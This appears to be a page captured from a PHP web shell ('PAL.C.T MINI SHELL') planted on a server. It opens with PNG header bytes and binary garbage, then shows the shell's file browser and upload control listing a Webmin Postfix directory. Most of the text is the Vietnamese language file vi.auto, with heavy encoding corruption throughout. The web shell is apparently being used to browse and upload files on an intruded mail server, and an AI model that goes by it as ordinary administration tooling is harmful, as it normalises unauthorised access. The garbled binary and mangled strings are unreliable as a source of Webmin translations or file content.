‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/vi.auto

connect_emysql=Không thể tải trình Ä‘iá»u khiển cÆ¡ sở dữ liệu $1
connect_elogin=Không thể đăng nhập vào cơ sở dữ liệu $1:$2.
index_title=Máy chủ bưu điện
index_epath=Lệnh Ä‘iá»u khiển Postfix $1 không được cài đặt trên hệ thống cá»§a bạn. Có thể <a href='$2'>cấu hình mô-Ä‘un</a> cá»§a bạn không chính xác hoặc Postfix chưa được cài đặt.
index_postfix=Hậu tố

internal_error=Lỗi bên trong
index_econfig=Lệnh cấu hình Postfix $1 không tồn tại. Có thể <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác.
index_esuper=Lệnh giám sát Postfix $1 không tồn tại. Có thể <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác.
index_stop=Dừng Postfix
index_start=Bắt đầu Postfix
index_reload=Tải lại cấu hình
index_stopmsg=Nhấp vào nút này để dừng máy chá»§ thư Postfix Ä‘ang chạy. Äiá»u này sẽ ngăn thư được gá»­i đến ngưá»i dùng cục bá»™ từ các hệ thống khác và ngăn khách hàng sá»­ dụng hệ thống này làm máy chá»§ thư gá»­i thư.
index_startmsg=Nhấp vào nút này để bắt đầu máy chá»§ thư Postfix. Cho đến khi Ä‘iá»u này được thá»±c hiện, thư sẽ không được gá»­i đến ngưá»i dùng cục bá»™ từ các hệ thống khác và khách hàng sẽ không thể sá»­ dụng hệ thống này làm máy chá»§ thư.
index_reloadmsg=Nhấp vào nút này để Postfix Ä‘á»c lại tất cả các tệp cấu hình cá»§a nó. Äiá»u này có thể hữu ích nếu các tệp cấu hình Postfix đã được sá»­a đổi bằng tay.
index_version=Phiên bản hậu tố $1
opts_err=Không thể lưu tùy chá»n

check_error=Lỗi trong khi kiểm tra cấu hình Postfix hiện tại. Vui lòng sửa thủ công cấu hình Postfix.
check_manual=Chỉnh sửa thủ công tệp cấu hình Postfix.

address_rewriting_title=Äịa chỉ Viết lại và Masquerading
address_rewriting_ecannot=Bạn không được phép chỉnh sửa địa chỉ viết lại và giả mạo
aliases_title=Bí danh thư
aliases_ecannot=Bạn không được phép chỉnh sửa bí danh
aliases_no_alias_file=Không có tập tin bí danh
aliases_failed_delete=Không thể xóa bí danh: $1
aliases_cant_write=Không thể ghi vào tập tin bí danh
aliases_cant_read=Không thể Ä‘á»c trong tệp bí danh
aliasopts_title=Tùy chá»n bí danh
aliases_internal_error=Bí danh: lỗi nội bộ
edit_alias_title=Chỉnh sửa bí danh
alias_save=Lưu bí danh
alias_save_err=Không thể lưu bí danh
alias_delete_create=Bạn muốn xóa một bí danh mà bạn hiện đang tạo!?
delete_alias=Xóa bí danh
aliases_click=Nhấp vào bất kỳ bí danh để chỉnh sửa thuộc tính của nó:
aliases_addr=Bí danh từ ..
aliases_to=Bí danh để ..
aliases_type1=Äịa chỉ $1
aliases_type2=Äịa chỉ trong tệp $1
aliases_type3=Tệp $1
aliases_type4=Chương trình $1
aliases_type5=Tệp tự động $1
aliases_type6=Ãp dụng tệp bá»™ lá»c $1
aliases_none=không ai
aliases_delete=Xóa các bí danh đã chá»n

postfinger_title=Kiểm tra cấu hình
postfinger_show=Chỉ
postfinger_ecannot=Bạn không được phép kiểm tra cấu hình Postfix

mailclean_title=Làm sạch MailQueue
mailclean_ecannot=Không có đặc quyá»n để làm sạch MailQueues
mailclean_active=Hàng đợi hoạt động
mailclean_incoming=Hàng đến
mailclean_deferred=Trì hoãn-xếp hàng
mailclean_defer=Trì hoãn-xếp hàng
mailclean_all=Tất cả hàng đợi
mailclean_search=Chuỗi tìm kiếm

aform_type0=không ai
aform_type1=ÄiÌ£a chỉ email
aform_type2=Äịa chỉ trong tập tin
aform_type3=Viết vào tập tin
aform_type4=Thức ăn cho chương trình
aform_type5=Tá»± động trả lá»i từ tập tin
aform_type6=Ãp dụng tập tin bá»™ lá»c
aform_edit=Chỉnh sửa bí danh
aform_create=Tạo bí danh
aform_name=Äịa chỉ
aform_enabled=Äã bật?
aform_val=Bí danh để
aform_afile=Biên tập ..
aform_return=bí danh
aform_cmt=Sự miêu tả

asave_err=Không thể lưu bí danh
asave_eaddr='$1' không phải là địa chỉ hợp lệ
asave_ealready=Một bí danh cho '$1' đã tồn tại
asave_etype1='$1' không phải là địa chỉ email hợp lệ
asave_etype2=Äịa chỉ tệp '$1' không hợp lệ hoặc không tồn tại
asave_etype3='$1' không phải là tên tệp hợp lệ
asave_etype4='$1' không phải là chương trình hợp lệ hoặc không tồn tại
asave_etype5=Tệp tự động '$1' không hợp lệ
asave_etype4none=Không có chương trình nào
asave_etype6=Tệp bá»™ lá»c '$1' không hợp lệ

afile_title=Chỉnh sửa tập tin địa chỉ
afile_desc=Sử dụng vùng văn bản bên dưới để chỉnh sửa các địa chỉ trong tệp $1.
afile_efile=Bạn không được phép chỉnh sửa $1.
afile_undo=Hoàn tác thay đổi
afile_ewrite=Không thể ghi vào tệp địa chỉ : $1

ffile_title=Chỉnh sá»­a tập tin bá»™ lá»c
ffile_desc=Sá»­ dụng biểu mẫu bên dưới để thiết lập quy tắc bá»™ lá»c trong tệp $1.
ffile_efile=Bạn không được phép chỉnh sửa $1.
ffile_line=Nếu trưá»ng $1
ffile_from=từ
ffile_to=đến
ffile_subject=môn há»c
ffile_cc=CC
ffile_body=thân hình
ffile_what0=không phù hợp
ffile_what1=diêm
ffile_other=Nếu không, chuyển tiếp tới $1
ffile_err=Không thể lưu tệp bá»™ lá»c
ffile_ematch=Trận đấu mất tích
ffile_eaction=Thiếu địa chỉ chuyển tiếp

rfile_title=Chỉnh sửa tập tin tự động
rfile_desc=Sá»­ dụng vùng văn bản bên dưới để chỉnh sá»­a thông báo tá»± động trong $1. Thông báo có thể chứa các macro $ SUB Dá»° ÃN, $ TỪ, $ TO, $ DATE và $ BODY sẽ được mở rá»™ng khi tính năng tá»± động được kích hoạt.
rfile_desc2=Bạn cÅ©ng có thể đặt tiêu đỠthư thêm hoặc thay thế các mặc định được sá»­ dụng trong tá»± động trả lá»i bằng cách đặt các dòng như: <br><tt> Từ: foo@bar.com </tt><br> <tt>Chá»§ Ä‘á»: Vào ngày lá»…</tt> <br> ở đầu tin nhắn, được phân tách khá»i phần thân bằng má»™t dòng trống duy nhất.
rfile_efile=Bạn không được phép chỉnh sửa $1.
rfile_undo=Hoàn tác thay đổi
rfile_replies=Theo dõi trả lá»i để ngăn chặn vòng lặp thư?
rfile_none=Không
rfile_file=Có, sử dụng tệp nhật ký
rfile_period=Khoảng thá»i gian tối thiểu giữa các câu trả lá»i
rfile_default=Mặc định (1 giá»)
rfile_secs=giây
rfile_ereplies=Thiếu tệp nhật ký theo dõi trả lá»i
rfile_eperiod=Số giây bị thiếu hoặc không hợp lệ giữa các lần trả lá»i
rfile_no_autoreply=Äừng gá»­i tá»± động đến
rfile_from=Từ: địa chỉ để trả lá»i
rfile_auto=Tá»± động (dá»±a trên địa chỉ ngưá»i nhận)
rfile_efrom=Thiếu từ: địa chỉ
rfile_fromdesc=Äịa chỉ From: phải luôn được chỉ định khi có thể, vì phương thức tá»± động có thể không đáng tin cậy.

general_title=Tùy chá»n chung
general_title_sensible=Tùy chá»n chung hữu ích nhất
general_title_others=Tùy chá»n chung khác
general_ecannot=Bạn không được phép chỉnh sá»­a Tùy chá»n chung
what_is_it=Nó là gì?

opts_default=Mặc định
opts_none=không ai
opts_nomap=Không có bản đồ
opts_setmap=Thông số kỹ thuật bản đồ
opts_relayhost=Gửi thư đi qua máy chủ
opts_direct=Giao hàng trực tiếp
opts_myorigin=Sá»­ dụng tên miá»n nào trong thư Ä‘i
opts_myorigin_as_myhostname=Sử dụng tên máy chủ
opts_myorigin_as_mydomain=Sá»­ dụng tên miá»n
opts_mydestination=Những tên miá»n để nhận thư cho
opts_mydestination_default=Máy địa phương
opts_mydestination_domainwide=Toàn miá»n
opts_notify_classes=Có vấn đỠgì để báo cáo với bưu điện
opts_notify_classes_sel=Chá»n bên dưới
opts_queue_directory=Thư mục hàng đợi thư
opts_mail_owner=Chủ thư
opts_default_privs=Quyá»n mặc định cá»§a đại lý giao hàng
opts_inet_interfaces=Giao diện mạng để nhận thư
opts_all_interfaces=Tất cả

opts_local_recipient_maps=Từ chối ngưá»i dùng địa phương không xác định
opts_no=Không
opts_save=Lưu và áp dụng
opts_edir=Bạn chỉ được phép chỉ định các tệp bản đồ trong $1

opts_allow_percent_hack=Viết lại "user%domain" thành "user@domain"
opts_append_at_myorigin=Viết lại "ngưá»i dùng" thành "ngưá»i dùng@$mydomain"
opts_append_dot_mydomain=Viết lại "user@host" thành "user@host.$mydomain"
opts_empty_address_recipient=Gá»­i thư vá»›i ngưá»i nhận trống để. ..
opt_empty_recip_default=Mặc định
opts_swap_bangpath=Viết lại "trang web! Ngưá»i dùng" thành "ngưá»i dùng @ trang web"
opts_masquerade_domains=Äịa chỉ hóa trang
opts_masquerade_exceptions=Ngoại lệ
index_return=Cấu hình hậu tố

opts_alias_maps=Cơ sở dữ liệu bí danh được sử dụng bởi các đại lý giao hàng địa phương
opts_alias_database=Cơ sở dữ liệu bí danh được xây dựng bởi lệnh "newaliases"
aliases_warning=Cảnh báo: <ul><li> khi trưá»ng đầu tiên không trống, lệnh tạo bí danh Postfix mặc định được sá»­ dụng để xây dá»±ng cÆ¡ sở dữ liệu tương ứng; <li>khác, lệnh tương thích Sendmail "newaliases" được sá»­ dụng, Ä‘iá»u này sẽ sá»­ dụng cÆ¡ sở dữ liệu cá»§a trưá»ng thứ hai.</ul>

aliases_name=Tên
aliases_value=Bí danh cho. ..

new_alias=Tạo một bí danh mới
new_aliasmsg=Nhấn vào nút này để tạo một bí danh mới

local_delivery_ecannot=Bạn không được phép chỉnh sá»­a tùy chá»n giao hàng địa phương
local_delivery_title=Giao hàng tận nơi
opts_local_transport=Tên của vận chuyển cho giao hàng địa phương
opts_local_transport_local=Äịa phương
opts_local_command_shell=Shell để sử dụng để phân phối cho lệnh bên ngoài
opts_local_command_shell_direct=Không có (thực thi trực tiếp các lệnh)
opts_forward_path=Danh sách tìm kiếm để chuyển tiếp
opts_allow_mail_to_commands=Gửi thư hợp lệ cho các lệnh bên ngoài
opts_allow_mail_to_files=Gửi thư hợp lệ cho các tập tin bên ngoài
opts_home_mailbox=Tên đưá»ng dẫn liên quan đến nhà cá»§a tệp há»™p thư ngưá»i dùng
opts_home_mailbox_default=Không có (sử dụng tiêu chuẩn <tt>/var/Something</tt>)
opts_luser_relay=Äịa chỉ đích cho ngưá»i nhận không xác định
opts_luser_relay_none=Không có (thư bị trả lại)
opts_mail_spool_directory=Thư mục Spool
opts_mailbox_command=Lệnh bên ngoài để sử dụng thay vì gửi hộp thư
opts_mailbox_command_none=không ai
opts_mailbox_transport=Tùy chá»n vận chuyển thá»±c tế để sá»­ dụng
opts_mailbox_transport_none=không ai
opts_fallback_transport=Vận chuyển tùy chá»n cho ngưá»i nhận không xác định
opts_fallback_transport_none=không ai
opts_local_destination_concurrency_limit=Số lượng giao hàng song song tối Ä‘a cho cùng má»™t ngưá»i nhận tại địa phương
opts_local_destination_recipient_limit=Số lượng ngưá»i nhận tối Ä‘a trên má»—i tin nhắn địa phương
opts_local_destination_recipient_limit_default=Mặc định
opts_prepend_delivered_header=Chuẩn bị <tt>Äã gá»­i:</tt> khi. ..
opts_prepend_delivered_header_default=Mặc định

resource_title=Kiểm soát tài nguyên chung
resource_ecannot=Bạn không được phép chỉnh sửa các tham số kiểm soát tài nguyên
opts_bounce_size_limit=Kích thước tối đa của tin nhắn bị trả lại
opts_command_time_limit=Thá»i gian tối Ä‘a để gá»­i đến các lệnh bên ngoài
opts_default_process_limit=Số lượng tiến trình con Postfix tối đa
opts_deliver_lock_attempts=Tối đa cố gắng để có được khóa tập tin
opts_deliver_lock_delay=Thá»i gian tính bằng giây giữa các lần thá»­ khóa tệp
opts_duplicate_filter_limit=Số lượng địa chỉ tối Ä‘a được nhá»› bởi bá»™ lá»c trùng lặp
opts_fork_attempts=Tối đa cố gắng để rẽ nhánh một quá trình
opts_fork_delay=Thá»i gian tính bằng giây giữa các lần thá»­ ngã ba
opts_header_size_limit=Bá»™ nhá»› tối Ä‘a được sá»­ dụng để xá»­ lý các tiêu Ä‘á»
opts_line_length_limit=Bộ nhớ tối đa được sử dụng để xử lý các dòng đầu vào
opts_mailbox_size_limit=Kích thước tối đa của hộp thư
opts_message_size_limit=Kích thước tối đa của tin nhắn
opts_qmgr_message_active_limit=Số lượng tin nhắn tối đa trong hàng đợi hoạt động
opts_qmgr_message_recipient_limit=Số lượng ngưá»i nhận trong bá»™ nhá»› tối Ä‘a
opts_queue_minfree=Không gian trống tối thiểu trong hệ thống tệp xếp hàng
opts_stale_lock_time=Thá»i gian tối Ä‘a sau đó khóa cÅ© được phát hành
opts_transport_retry_time=Thá»i gian tính bằng giây giữa các lần thá»­ liên hệ vá»›i MDT bị há»ng

opts_always_bcc=Äịa chỉ nhận bcc cá»§a má»—i tin nhắn
opts_always_bcc_none=không ai
opts_daemon_timeout=Hết thá»i gian xá»­ lý yêu cầu
opts_default_database_type=Kiểu cơ sở dữ liệu mặc định
opts_default_transport=Vận chuyển tin nhắn mặc định
opts_double_bounce_sender=Äịa chỉ ngưá»i gá»­i cho thư bị trả lại
opts_hash_queue_depth=Số cấp độ subir bên dưới thư mục hàng đợi
opts_hash_queue_names=Tên của các thư mục hàng đợi được chia theo các thư mục con
opts_hopcount_limit=Số lượng tiêu đỠ<tt>tối đa đã nhận:</tt>
opts_ipc_idle=Thá»i gian nhàn rá»—i sau khi ngắt kết nối máy khách IPC ná»™i bá»™
opts_ipc_timeout=Hết thá»i gian cho I / O trên các kênh comm ná»™i bá»™
opts_mail_name=Tên hệ thống thư
opts_mail_version=Phiên bản hệ thống thư chính thức
opts_max_idle=Thá»i gian chỠđợi yêu cầu dịch vụ tiếp theo
opts_max_use=Yêu cầu dịch vụ tối đa được xử lý trước khi thoát
opts_mydomain=Tên miá»n internet địa phương
opts_mydomain_default=Mặc định (được cung cấp bởi hệ thống)
opts_myhostname=Tên máy chủ Internet của hệ thống thư này
opts_myhostname_default=Mặc định (được cung cấp bởi hệ thống)
opts_mynetworks=Mạng cục bộ
opts_mynetworks_default=Mặc định (tất cả các mạng đính kèm)
opts_mynetworks_style=Mạng cục bộ tự động
opts_mynetworks_subnet=Cùng một mạng con IP
opts_mynetworks_class=Cùng lớp mạng
opts_mynetworks_host=Chỉ máy cục bộ
opts_bounce_notice_recipient=Gá»­i thông báo bưu Ä‘iện khi bị trả vá». ..
opts_2bounce_notice_recipient=Gửi thông báo bưu điện trên 2bounce đến. ..
opts_delay_notice_recipient=Gửi thông báo bưu điện vỠsự chậm trễ đến. ..
opts_error_notice_recipient=Gửi thông báo bưu điện vỠlỗi đến. ..
opts_process_id_directory=Khóa tập tin dir, liên quan đến thư mục xếp hàng
opts_program_directory=Chương trình hỗ trợ Postfix và daemon dir
opts_recipient_delimiter=Tên ngưá»i dùng / phần mở rá»™ng địa chỉ
opts_relocated_maps_default=Mặc định (bị vô hiệu hóa)
opts_sun_mailtool_compatibility=Vô hiệu hóa khóa tập tin kernel trên hộp thư
opts_trigger_timeout=Thá»i gian tối Ä‘a để gá»­i má»™t kích hoạt cho má»™t daemon
opts_delay_warning_time=Thá»i gian tính bằng giá» trước khi gá»­i cảnh báo không giao hàng
opts_delay_warning_time_default2=Hậu tố mặc định
opts_content_filter_default=không ai

smtpd_title=Tùy chá»n máy chá»§ SMTP
smtpd_ecannot=Bạn không được phép chỉnh sá»­a các tùy chá»n máy chá»§ SMTP
opts_disable_vrfy_command=Vô hiệu hóa lệnh SMTP VRFY
opts_smtpd_banner=Biểu ngữ chào mừng SMTP
opts_smtpd_etrn_restrictions=Hạn chế lệnh ETRN khi. ..
opts_smtpd_recipient_limit=Số lượng ngưá»i nhận tối Ä‘a được chấp nhận để giao hàng
opts_smtpd_timeout=Hết thá»i gian tính bằng giây cho các giao dịch SMTP
opts_smtpd_error_sleep_time=Hết thá»i gian chá» trước khi gá»­i phản hồi lá»—i 4xx / 5xx
opts_smtpd_soft_error_limit=Lá»—i tính cho tạm thá»i bá» qua má»™t khách hàng
opts_smtpd_hard_error_limit=Lỗi tính cho việc đóng kết nối
opts_smtpd_client_restrictions=Hạn chế vỠtên máy chủ / địa chỉ của khách hàng
opts_smtpd_helo_required=Cần có Helo
opts_smtpd_helo_restrictions=Hạn chế gửi trong các lệnh Helo
opts_smtpd_sender_restrictions=Hạn chế vỠđịa chỉ ngưá»i gá»­i
opts_smtpd_recipient_restrictions=Hạn chế vỠđịa chỉ ngưá»i nhận
opts_allow_untrusted_routing=Cho phép định tuyến không tin cậy
opts_maps_rbl_domains=Tên miá»n DNS để tra cứu danh sách Ä‘en
opts_relay_domains=Hạn chế chuyển tiếp thư
opts_relay_recipient_maps=Bản đồ cho các địa chỉ được phép để chuyển tiếp
opts_access_map_reject_code=Phản hồi của máy chủ SMTP vỠvi phạm bản đồ truy cập
opts_invalid_hostname_reject_code=Phản hồi của máy chủ SMTP khi từ chối tên máy chủ không hợp lệ
opts_maps_rbl_reject_code=Phản hồi cá»§a máy chá»§ SMTP vá» vi phạm tên miá»n RBL
opts_reject_code=Phản hồi của máy chủ SMTP khi khách hàng từ chối
opts_relay_domains_reject_code=Phản hồi của máy chủ SMTP khi chuyển tiếp bị cấm
opts_unknown_address_reject_code=Phản hồi cá»§a máy chá»§ SMTP khi từ chối tên miá»n không xác định
opts_unknown_client_reject_code=Phản hồi của máy chủ SMTP khi từ chối máy khách không xác định
opts_unknown_hostname_reject_code=Phản hồi của máy chủ SMTP khi từ chối tên máy chủ không xác định
smtpd_nomap=Không có bản đồ cho các địa chỉ được phép chuyển tiếp đã được nhập vào.
smtpd_nomap2=Không có bản đồ cho các hạn chế vỠđịa chỉ ngưá»i gá»­i đã được nhập vào.
smtpd_map=Äịa chỉ được phép chuyển tiếp
smtpd_map2=Hạn chế vỠđịa chỉ ngưá»i gá»­i

smtp_title=Tùy chá»n máy khách SMTP
smtp_ecannot=Bạn không được phép chỉnh sá»­a các tùy chá»n máy khách SMTP
opts_best_mx_transport=Hành động khi được liệt kê là máy chủ MX tốt nhất
opts_best_mx_transport_default=Mặc định (tin nhắn bị trả lại)
opts_fallback_relay=Máy chá»§ / tên miá»n để chuyển thư đến đích không hợp lệ
opts_ignore_mx_lookup_error=BỠqua lỗi tra cứu MX
opts_smtp_skip_4xx_greeting=Bá» qua lá»i chào 4xx
opts_smtp_skip_quit_response=BỠqua chỠlệnh QUIT
opts_smtp_destination_concurrency_limit=Số lượng giao hàng song song tối đa đến cùng một đích
opts_smtp_destination_recipient_limit=Số lượng ngưá»i nhận tối Ä‘a trên má»—i lần giao hàng
opts_smtp_connect_timeout=Hết thá»i gian để hoàn thành các kết nối TCP
opts_smtp_helo_timeout=Hết thá»i gian chỠđợi biểu ngữ chào mừng
opts_smtp_mail_timeout=Hết thá»i gian chỠđợi câu trả lá»i cho MAIL TỪ
opts_smtp_rcpt_timeout=Hết thá»i gian chỠđợi câu trả lá»i cho RCPT TO
opts_smtp_data_init_timeout=Hết thá»i gian chỠđợi câu trả lá»i cho DATA
opts_smtp_data_xfer_timeout=Hết thá»i gian chỠđợi câu trả lá»i để truyá»n tải ná»™i dung tin nhắn
opts_smtp_data_done_timeout=Hết thá»i gian chỠđợi câu trả lá»i kết thúc "."
opts_smtp_quit_timeout=Hết thá»i gian chỠđợi câu trả lá»i cho QUIT
opts_smtp_use_tls=Sử dụng TLS cho các kết nối SMTP
opts_smtp_sasl_security_options=Tùy chá»n bảo mật SASL
opts_smtp_tls_security_level=Mức độ bảo mật của máy khách SMTP TLS

rate_title=Giá giao hàng
rate_ecannot=Bạn không được phép chỉnh sá»­a các tùy chá»n giá giao hàng
opts_default_destination_concurrency_limit=Số lượng giao hàng song song tối đa đến cùng một đích
opts_default_destination_recipient_limit=Số lượng ngưá»i nhận tối Ä‘a trên má»—i tin nhắn
opts_initial_destination_concurrency=Mức đồng thá»i ban đầu để phân phối đến cùng đích
opts_maximal_backoff_time=Thá»i gian tối Ä‘a (giây) giữa các lần thá»­ gá»­i tin nhắn bị hoãn
opts_maximal_queue_lifetime=Thá»i gian tối Ä‘a (ngày) trong hàng đợi trước khi tin nhắn không thể gá»­i được
opts_minimal_backoff_time=Thá»i gian tối thiểu (giây) giữa các lần thá»­ gá»­i tin nhắn bị hoãn
opts_queue_run_delay=Thá»i gian (giây) giữa việc quét hàng đợi
opts_defer_transports=Vận tải không nên giao

debug_title=Tính năng sửa lỗi
debug_ecannot=Bạn không được phép chỉnh sửa các tính năng sửa lỗi
opts_debug_peer_list=Danh sách các mẫu miá»n / mạng cho phép ghi nhật ký chi tiết
opts_debug_peer_level=Mức ghi nhật ký dài khi khớp với danh sách trên
debug_version=Mô-đun Postfix cho Webmin - Phiên bản $1
opts_edebug=Mức ghi nhật ký chi tiết bị thiếu hoặc không hợp lệ - phải là một số lớn hơn 0

ldap_title=Tra cứu LDAP
ldap_ecannot=Bạn không được phép chỉnh sá»­a các tùy chá»n tra cứu LDAP
ldap_non_existent=Dưá»ng như LDAP không tồn tại trong hệ thống Postfix cá»§a bạn
opts_ldap_lookup_timeout=Hết thá»i gian tra cứu cÆ¡ sở dữ liệu LDAP
opts_ldap_search_base=Cơ sở dữ liệu LDAP để tìm kiếm
opts_ldap_server_host=Tên máy chủ LDAP

canonical_title=Bản đồ Canonical
canonical_ecannot=Bạn không được phép chỉnh sửa cấu hình ánh xạ chuẩn
opts_canonical_maps=Bảng tra cứu ánh xạ địa chỉ
opts_recipient_canonical_maps=Bảng cho địa chỉ ngưá»i nhận
opts_sender_canonical_maps=Bảng cho địa chỉ ngưá»i gá»­i
edit_canonical_maps=Chỉnh sửa bản đồ Canonical
edit_recipient_canonical_maps=Chỉnh sửa Bản đồ Canonical
edit_sender_canonical_maps=Chỉnh sá»­a ngưá»i gá»­i Bản đồ Canonical
edit_canonical_maps_general=Nhấp vào một trong các nút này để chỉnh sửa bản đồ chính tắc ..
canonical_edit_title=Chỉnh sửa bản đồ Canonical
canonical_return_sender=ngưá»i gá»­i bản đồ kinh Ä‘iển
canonical_return_recipient=ngưá»i nhận bản đồ kinh Ä‘iển
canonical_return=bản đồ kinh điển

mapping_name=Tên
mapping_value=Bản đồ đến. ..
mapping_delete=Xóa đã chá»n
mapping_cmt=Sự miêu tả
mapping_ecannot=Bạn chỉ được phép chỉnh sửa bản đồ trong $1
new_mapping=Thêm một bản đồ mới.
new_mappingmsg=Nhấp vào nút này để tạo bản đồ mới
new_manual=Chỉnh sửa bản đồ theo cách thủ công
new_manualmsg=Nhấp vào nút này để chỉnh sửa thủ công các tệp mà bản đồ này được tạo.
map_save=Lưu bản đồ
delete_map=Xóa ánh xạ
edit_map_title=Chỉnh sửa bản đồ
map_save_err=Lỗi trong khi lưu bản đồ
mapps_no_map_file=Không có tệp bản đồ được xác định
map_delete_failed=Không thể xóa bản đồ: $1
map_delete_create=Không thể xóa bản đồ bạn vừa tạo
maps_internal_error=Bản đồ: lỗi nội bộ
maps_cant_write=Không thể viết
help_map_format=Tôi nên sử dụng định dạng nào?
map_noname=Tên ánh xạ bị thiếu hoặc không hợp lệ
map_cannot=Bản đồ này không thể được chỉnh sửa : $1
map_unknown=Webmin không hỗ trợ loại bản đồ $1
mapping_none=Không có ánh xạ của loại này đã được xác định.
mapping_toomany=Có các mục nhập bản đồ $1, vượt quá giới hạn hiển thị của $2.
mapping_find=Hiển thị ánh xạ phù hợp:
mapping_search=Tìm kiếm
mapping_match=Các mục nhập tệp bản đồ khớp với <tt>$1</tt> ..

virtual_title=Miá»n ảo
virtual_ecannot=Bạn không được phép chỉnh sá»­a cấu hình ánh xạ miá»n ảo
opts_virtual_maps=Bảng tra cứu ánh xạ tên miá»n
opts_virtual_alias_maps=Bảng tra cứu ánh xạ tên miá»n
opts_virtual_alias_domains=Tên miá»n để thá»±c hiện ánh xạ ảo cho
virtual_same=Từ các bảng ánh xạ tên miá»n
virtual_return=tên miá»n ảo

transport_title=Bản đồ giao thông
transport_ecannot=Bạn không được phép chỉnh sửa cấu hình ánh xạ vận chuyển
opts_transport_maps=Bảng tra cứu bản đồ vận chuyển
transport_return=bản đồ giao thông

sni_title=Ãnh xạ chứng chỉ
sni_ecannot=Bạn không được phép chỉnh sửa cấu hình ánh xạ chứng chỉ
opts_sni_maps=Bảng tra cứu ánh xạ chứng chỉ
sni_return=bản đồ chứng chỉ
sni_dom=Tên máy chủ
sni_certs=Tệp chứng chỉ

relocated_title=Di dá»i bản đồ
relocated_ecannot=Bạn không được phép chỉnh sá»­a cấu hình ánh xạ di dá»i
relocated_return=bản đồ di dá»i
opts_relocated_maps=Di chuyển bảng tra cứu ánh xạ
opts_content_filter=Bá»™ lá»c ná»™i dung email

map_click=Nhấp vào bất kỳ ánh xạ để chỉnh sửa thuộc tính của nó:
no_map=(Hiện tại không có bản đồ nào được xác định. Xác định bản đồ trước, sau đó bạn có thể chỉnh sửa bản đồ)
no_map2=Không có bản đồ hiện đang được xác định. Xác định bản đồ trước, sau đó bạn có thể chỉnh sửa nó.

stop_efailed=Không thể dừng Postfix
stop_ecannot=Bạn không được phép dừng Postfix

start_efailed=Không thể bắt đầu Postfix
start_ecannot=Bạn không được phép bắt đầu Postfix

reload_efailed=Không thể tải lại Postfix
reload_ecannot=Bạn không được phép tải lại Postfix

query_get_efailed=Không thể truy vấn lệnh cấu hình Postfix để nhận giá trị hiện tại của tham số $1: <tt>$2</tt>
query_set_efailed=Không thể truy vấn lệnh cấu hình Postfix để đặt giá trị hiện tại của tham số $1 thành $2: <tt>$3</tt>
regenerate_ecannot=Bạn không được phép tạo lại các Bí danh
regenerate_alias_efailed=Không thể tạo lại bí danh: <tt>$1</tt>
regenerate_table_efailed=Không thể tạo lại bảng $1: <tt>$2</tt>

acl_resource=Có thể chỉnh sửa tài nguyên?
acl_aliases=Có thể chỉnh sửa bí danh?
acl_aliases_options=Có thể chỉnh sá»­a tùy chá»n bí danh?
acl_general=Có thể chỉnh sá»­a tùy chá»n chung?
acl_address_rewriting=Có thể chỉnh sửa địa chỉ viết lại?
acl_canonical=Có thể chỉnh sửa kinh điển?
acl_virtual=Có thể chỉnh sửa ảo?
acl_transport=Có thể chỉnh sửa giao thông?
acl_sni=Có thể chỉnh sửa chứng chỉ?
acl_relocated=Có thể chỉnh sá»­a di dá»i?
acl_header=Có thể chỉnh sửa kiểm tra tiêu đ�
acl_local_delivery=Có thể chỉnh sửa giao hàng địa phương?
acl_smtpd=Có thể chỉnh sửa smtpd?
acl_sasl=Có thể chỉnh sửa xác thực SMTP?
acl_client=Có thể chỉnh sửa các hạn chế của máy khách SMTP không?
acl_smtp=Có thể chỉnh sửa smtp?
acl_rate=Có thể chỉnh sửa tỷ lệ?
acl_debug=Có thể chỉnh sửa gỡ lỗi?
acl_ldap=Có thể chỉnh sửa ldap?
acl_master=Có thể chỉnh sửa các quy trình máy chủ?
acl_startstop=Có thể bắt đầu và dừng postfix?
acl_mailq=Có thể quản lý hàng đợi thư?
acl_boxes=Có thể Ä‘á»c email cá»§a ngưá»i dùng?
acl_postfinger=Có thể kiểm tra cấu hình postfix?
acl_manual=Có thể chỉnh sửa tập tin cấu hình?
acl_dir=Thư mục được phép cho các tập tin bản đồ
acl_bcc=Có thể chỉnh sửa ánh xạ BCC?

boxes_title=Há»™p thư ngưá»i dùng
boxes_user=Ngưá»i sá»­ dụng
boxes_size=Kích thước hộp thư
boxes_none=Không có thư
boxes_return=hộp thư
boxes_sent=Gá»­i mail
boxes_ecannot=Bạn không được phép Ä‘á»c email
boxes_toomany=Có quá nhiá»u ngưá»i dùng trên hệ thống cá»§a bạn để liệt kê tất cả các há»™p thư cá»§a há».
boxes_go=Xem thư cho ngưá»i dùng:

mail_title=Email ngưá»i dùng
mail_from=Từ
mail_date=Ngày
mail_subject=Môn há»c
mail_to=Äến
mail_cc=Cc
mail_bcc=Bcc
mail_pri=Sự ưu tiên
mail_highest=Cao nhất
mail_high=Cao
mail_normal=Bình thưá»ng
mail_low=Thấp
mail_lowest=Thấp nhất
mail_for=Trong $1
mail_for2=Äối vá»›i ngưá»i dùng $1
mail_sent=Trong danh sách thư đã gửi
mail_size=Kích thước
mail_delete=Xóa bá»
mail_compose=Soạn, biên soạn
mail_return=há»™p thư ngưá»i dùng
mail_pos=Tin nhắn $1 đến $2 của $3
mail_none=Hộp thư này không có tin nhắn
mail_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
mail_all=Chá»n tất cả
mail_invert=Lá»±a chá»n đối nghịch
mail_search=Tìm tin nhắn ở đâu
mail_body=Thân hình
mail_match=diêm
mail_ok=Tìm kiếm
mail_nonefrom=không ai
mail_mark=Äánh dấu là:
mail_mark0=Chưa Ä‘á»c
mail_mark1=Äá»c
mail_mark2=Äặc biệt
